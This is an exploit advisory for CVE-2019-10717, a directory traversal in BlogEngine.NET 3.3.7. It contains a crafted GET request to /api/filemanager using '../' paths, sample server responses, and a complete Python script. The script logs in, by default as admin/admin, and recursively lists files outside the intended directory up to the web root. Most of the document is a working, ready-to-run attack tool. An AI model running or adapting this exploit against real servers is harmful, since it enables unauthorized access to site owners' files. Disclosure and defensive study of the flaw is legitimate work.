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# Exploit Title: Directory Traversal on BlogEngine.NET # Date: 24 Jun 2019 # Exploit Author: Aaron Bishop # Vendor Homepage: https://blogengine.io/ # Version: v3.3.7 # Tested on: 3.3.7, 3.3.6 # CVE : 2019-10717 1. Description ============== BlogEngine.NET is vulnerable to a directory traversal.The page parameter, passed to /api/filemanager, reveals the contents of the directory. 2. Proof of Concept ============= Log in to the application and submit a GET request to /api/filemanager: Request: ~~~ GET /api/filemanager?path=/../../ HTTP/1.1 Host: $RHOST User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: $COOKIE Connection: close Upgrade-Insecure-Requests: 1 ~~~ Depending on how the request is submitted, the response may be XML or JSON XML Response ~~~ HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: -1 Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Wed, 15 May 2019 01:58:46 GMT Connection: close Content-Length: 13030 <ArrayOfFileInstance xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/BlogEngine.Core.FileSystem"> <FileInstance> <Created>5/14/2019 6:58:46 PM</Created> <FileSize></FileSize> <FileType>Directory</FileType> <FullPath>~/App_Data/files/../..</FullPath> <IsChecked>false</IsChecked> <Name>...</Name> <SortOrder>0</SortOrder> </FileInstance> ... ~~~ JSON Response ~~~ HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Wed, 15 May 2019 02:35:13 GMT Connection: close Content-Length: 10011 [ { "IsChecked":false, "SortOrder":0, "Created":"5/14/2019 7:35:13 PM", "Name":"...", "FileSize":"", "FileType":0, "FullPath":"~/App_Data/files/../..", "ImgPlaceholder":"" } ... ~~~ import argparse import json import os import re import requests import sys """ Exploit for CVE-2019-10717 CVE Identified by: Aaron Bishop Exploit written by: Aaron Bishop Outputs list of filenames found in web root python exploit.py -t $RHOST ?path=/../.. /../../archive.aspx /../../archive.aspx.cs /../../archive.aspx.designer.cs /../../BlogEngine.NET.csproj /../../BlogEngine.NET.csproj.user /../../contact.aspx /../../contact.aspx.cs /../../contact.aspx.designer.cs """ urls = { "login": "/Account/login.aspx", "traversal": "/api/filemanager" } def make_request(session, method, target, data={}): proxies = { "http": "127.0.0.1:8080", "https": "127.0.0.1:8080" } if method == 'GET': r = requests.Request(method, target, params=data) elif method == 'POST': r = requests.Request(method, target, data=data) prep = session.prepare_request(r) resp = session.send(prep, verify=False, proxies=proxies) return resp.text def login(session, host, user, passwd): resp = make_request(session, 'GET', host+urls.get('login')) login_form = re.findall('<input\s+.*?name="(?P<name>.*?)"\s+.*?(?P<tag>\s+value="(?P<value>.*)")?\s/>', resp) login_data = dict([(i[0],i[2]) for i in login_form]) login_data.update({'ctl00$MainContent$LoginUser$UserName': user}) login_data.update({'ctl00$MainContent$LoginUser$Password': passwd}) resp = make_request(session, 'POST', host+urls.get('login'), login_data) def parse(body, path, outfile): paths = json.loads(body) new_paths = set() for i in paths: if i.get('FileType') == 0: new_paths.add(i.get('FullPath')) else: outfile.write("{path}\n".format(path=i.get('FullPath'))) return new_paths def traverse(session, host, paths, outfile, visited=set()): paths = set(paths) - visited for path in paths: print path outfile.write("\n?path={path}\n".format(path=path)) visited.add(path) resp = make_request(session, 'GET', host+urls.get('traversal'), data=dict(path=path)) new_paths = parse(resp, path, outfile) if new_paths: traverse(session, host, new_paths, outfile, visited) def main(host, user, passwd, root, outfile): with requests.Session() as s: login(s, host, user, passwd) traverse(s, host, root, outfile) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Exploit CVE-2019-10717 Path traversal') parser.add_argument('-t', '--target', action="store", dest="target", required=True, help='Target host') parser.add_argument('-u', '--user', default="admin", action="store", dest="user", help='Account on blog') parser.add_argument('-p', '--passwd', default="admin", action="store", dest="passwd", help='Password for account') parser.add_argument('-r', '--root', nargs='+', default="/../..", help='Starting paths') parser.add_argument('-s', '--ssl', action="store_true", help="Force SSL") parser.add_argument('-o', '--outfile', type=argparse.FileType('w'), default='CVE-2019-10717.txt') args = parser.parse_args() protocol = "https://" if args.ssl else "http://" if isinstance(args.root, str): args.root = [args.root] main(protocol + args.target, args.user, args.passwd, args.root, args.outfile) |
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